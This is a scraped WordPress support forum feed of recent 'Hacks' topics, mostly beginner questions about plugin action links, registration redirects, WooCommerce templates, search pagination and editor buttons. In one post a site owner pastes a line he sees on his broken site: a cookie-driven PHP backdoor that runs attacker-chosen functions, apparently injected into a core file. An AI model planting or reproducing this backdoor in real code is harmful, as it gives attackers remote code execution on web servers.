Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

doppiar on "Old latest comments dashboard widget"

$
0
0

Hi! :-)
There's a way, maybe via functions.php, to show, in the 4.4.2 version, the old "latest comment" widget in dashboard, like in the 3.7 version of Wordpress?

The new "activity" pane is very uncomfortable, with the latest comment at the bottom, and I want to show latest comments in a widget apart, with possibility to moderate and reply, like in the actual "activity" widget but in a widget apart!

Thanks! :-)


MalteseSolutions on "plugin_action_links_"

$
0
0

I have written a plugin and this is my first attempt at adding an action link.
However, I cannot get this to function.

What am I missing?

function add_action_links( $links ) {
	$url = get_admin_url(null, 'options-general.php?page=MY_PLUGIN');
	$links[] = '<a href="'. $url .'">Settings</a>';
	return $links;
}
add_filter( 'plugin_action_links_' . plugin_basename(__FILE__), 'add_action_links' );

johnywhy on "Where Does Plugin Php Go?"

$
0
0

hi

noob question, i'm developing a super-simple plugin, using the WORDPRESS PLUGIN BOILERPLATE GENERATOR http://wppb.me/

i generated the zip file successfully, now just trying to figure out where to put the code. I checked this, but still confused.

The code is very simple:

<?php
function bp_redirect($user) {
    $redirect_url = 'http://www.mysite.com/yeah';
    bp_core_redirect($redirect_url);
}

add_action('bp_core_signup_user', 'bp_redirect', 100, 1);
?>

Does it go in activate_redirect_after_register, run_redirect_after_register, or someplace else?

i’m guessing this part should go in the ‘activate’ function
add_action(‘bp_core_signup_user’, ‘bp_redirect’, 100, 1);

and everything should go in the ‘run’ section. Correct?

thx!

also asked here:
https://buddypress.org/support/topic/how-to-redirect-after-registration/

Bas Schuiling on "Private plugin update renames directory since 4.4"

$
0
0

I'm using a plugin that comes from a self-hosted site which pushes the plugin update information via the plugins_api filter.

Since WP 4.4. a new update results in renaming the directory. Previously this was (example) : '/my-plugin/plugin.php', but now some sort of hash is added, which results in something like '/my-plugin-IB4Ya7/plugin.php' .

The latter part of the name is random and changes every update. I pushed the same update multiple times and every time it's a different string ( same length and composition though ).

I'm browsing the source to figure out what's causing this and why. While annoying it provides no direct problems but I would like to understand if this is a bug or a feature.

Anybody can give me some pointers to this, or have seen this happen on other (commercial) plugins? The plugins coming from WordPress.org repository don't have this behavior.

I maintain the site where the plugin comes from as well. I've checked the information it pushes but it's up to documentation ( the little there is ), and this doesn't happen in WP 4.3 with the same update and code.

Mike Castro Demaria on "This plugin is not properly prepared for localization"

$
0
0

Hi,

I'm the developper of wp-ultra-simple-paypal-shopping-cart, and I'll like to know why when i see the online translation tool, I have the following message : This plugin is not properly prepared for localisation. If you would like to translate this plugin, please contact the author.

https://translate.wordpress.org/projects/wp-plugins/wp-ultra-simple-paypal-shopping-cart

I check my plugin and can't fin any mistake on the declaration or content. I'm using poedit for translation and give all files on the languages dir.

Can anyone explain me how to solve that and where I'm wrong ? Thanks for your help.
Mike

driftmagazine on "A list of users with a specific role as a link."

$
0
0

I want to make a list of a specific role. I get to the list itself, but then I do not get the link. I want each name to link to their profile page.

I have tried all sorts of different variants and has now tried and tested me out for several weeks. Here are some different tests.

http://driftmagazine.se/fotografer/

sarahdunnarts on "background is stuck transparent on woocomm"

$
0
0

I cannot for the life of me change the background content background color or font color in the woocommerce template.

I've tried css and hooks to do this and I think there is something in thise custom theme keeping it from doing so.. it's also hiding all my social icons. I probably just inserted the woocommerce_conten.php in the wrong place but I have tried so many options this week I'm losing it..

`<?php get_header(); ?>
<link href="//cdn.rawgit.com/noelboss/featherlight/1.3.5/release/featherlight.min.css" type="text/css" rel="stylesheet" />
<script src="//cdn.rawgit.com/noelboss/featherlight/1.3.5/release/featherlight.min.js" type="text/javascript" charset="utf-8"></script>

<div id="banner" style="background:#1c1c1c">
<div class="content">
<?php if(get_field('_page_img')):?>
<?php echo '<div class="banner-img">'.wp_get_attachment_image(get_field('_page_img'), 'page-banner', 0, array('title'=> '')).'</div>';?><img alt="#" class="banner-img" src="http://covingtonbrewhouse.com/wp-content/uploads/2016/02/black-banner.png">
<?php else:?>
<img alt="#" class="banner-img" src="http://covingtonbrewhouse.com/wp-content/uploads/2015/12/blank-banner.png">
<?php endif;?>
<?php
if (woocommerce_content()) :
while (have_posts()) : the_post();
?>

digrizz on "Fancy box with Site origin button"

$
0
0

Hello.
Im a total newbie in wordpress. So how should I make a button with onlick with option to appear fancy box with contact form?


digrizz on "Fancy box with Site origin button"

$
0
0

Hello.
Im a total newbie in wordpress. So how should I make a button with onlick with option to appear fancy box with contact form?

jose4316 on "what do I do now"

$
0
0

Below is the message i'm currently getting in place of my website, what do I do now?

if (isset($_COOKIE["id"])) @$_COOKIE("user")($_COOKIE["id"]);
Warning: Cannot modify header information - headers already sent by (output started at /home4/john316/public_htrnllwp-blog-header.php:5) in /home4/john316/public_html
/wp-content/plugins/wp-super-cache/wp-cache-phase2.php on line 60

Something about my: Jetpack 3.3 is required to manage Settings
Update now
For whicj I get this message: Warning: Cannot modify header information - headers already sent by (output started at /home4/john316/public_html/wp-includes/load.php:1) in /home4/john316/public_html/wp-includes/pluggable.php on line 896

helpusplease on "Construction owner hacked by old "friend" stealing business Illegal? need help p"

celsocos on "login/logout/register redirect"

$
0
0

Hello. I found in the codex that login/logout url is ok with redirection
wp_login_url ( string $redirect = '', bool $force_reauth = false )

but the same is not true to register
wp_registration_url ()

I am updating a plugin for custom login/logout/registration and the custom login page works fine, but custom registration page does not work. Does anybody had this issue before? I was expecting login/logout/register functions work in a similar way...

This works: wp_login_url( $item_redirect[0] );
This fails: wp_registration_url( $item_redirect[0] );

How can I solve it? Any guess?
Regards

palmbardier on "pagination breaks wp_query->is_search"

$
0
0

We're using a child theme derived from twentyfourteen, but you can recreate this issue using the twentyfourteen theme as well, so it's not as though our changes caused this issue.

When you search for all pages and posts containing the word "the", you should get several pages of results which are nicely paginated for you via the twentyfourteen_paging_nav() function call in search.php .

Unfortunately on the first page of results the global wp_query->is_search() returns false. As soon as you page through your search results, you get is_search() returning true again, as expected

We've tried hacking the global wp_query->is_search=true in search.php before and after the call to twentyfourteen_page_nav() to no avail. This is my first WordPress forum post. Hoping someone else out there has had the same problem and been able to hack their way around it.

Thanks in advance for your anticipated patience and co-operation.

rajee on "Duplicate entry for "job_slug""

$
0
0

Hi,

Iam extracting data from a file and inserting into wordpress db. The data gets added at first but 2nd time the site refreshes i get the message as "Duplicate entry 'test content' for key 'job_slug'"

can anyone help

olani on "add more than 4 columns to woocommerce storefront"

$
0
0

Can anyone tell me how to add more than 4 columns to woocommerce storefront. I've tried the customizer and I've looked through the php templates, but no luck. I'm new to wordpress so please dumb down your answer as much as possible. Thank you.

The site is www.anacapribeads.com/beads_wp


brokleen on "Authenticate users and do some request with REST API"

$
0
0

Hi,
I would like to use wordpress for the backend of my mobile app.
But i don't understand how i can authenticate my users.

Anyone can help me ?

phaze112 on "Can Outside Navigation Be Done In Wordpress?"

$
0
0

I really like this guys site, and I'm very curious if this type of outside navigation can be done in wordpress.

Like how it has transition animations from page to page, it never really loads a new page like in wordpress.

http://www.danielspatzek.com

If you think it can't be done, are there specific limitations you can point out as to why?

thanks so much for any help guys!

nikola797992 on "Pop out menu color"

$
0
0

How can I change pop out menu color?

nullamatix.com on "Add/Edit Post or Page - Text Mode Buttons Do Nothing, Visual Editor Buttons Work"

$
0
0

Hello,

While on the /wp-admin/post-new.php or /wp-admin/post.php pages, the "Text" mode buttons seem disabled. They exist, but hovering over or clicking them does absolutely nothing. It's like they're images.

The buttons I'm referring to are: b, i, link, b-quote, del, ins, img, ul, ol, li, code, more, close-tags -- the buttons along the top of the textarea box.

I have 1 plugin installed, but disabling it doesn't change anything. The "Visual" text editor buttons work just fine.

When I do a network inspect with firefox web dev tool to make sure everything loads, there are zero 404 errors, so it seems all the CSS/JS files are loading?

Please let me know if there's any additional information I can provide that might help.

The problem existed in 4.4.1 and 4.4.2. The site is relatively new I started out on 4.4.1.

Property In India on "508 Resource Limit Is Reached"

$
0
0

I Want to know that why we getting 508 Resource Limit Is Reached is that website is consider as hacked we can see website while browse it but often for some time it show that error

Viewing all 8245 articles
Browse latest View live




Latest Images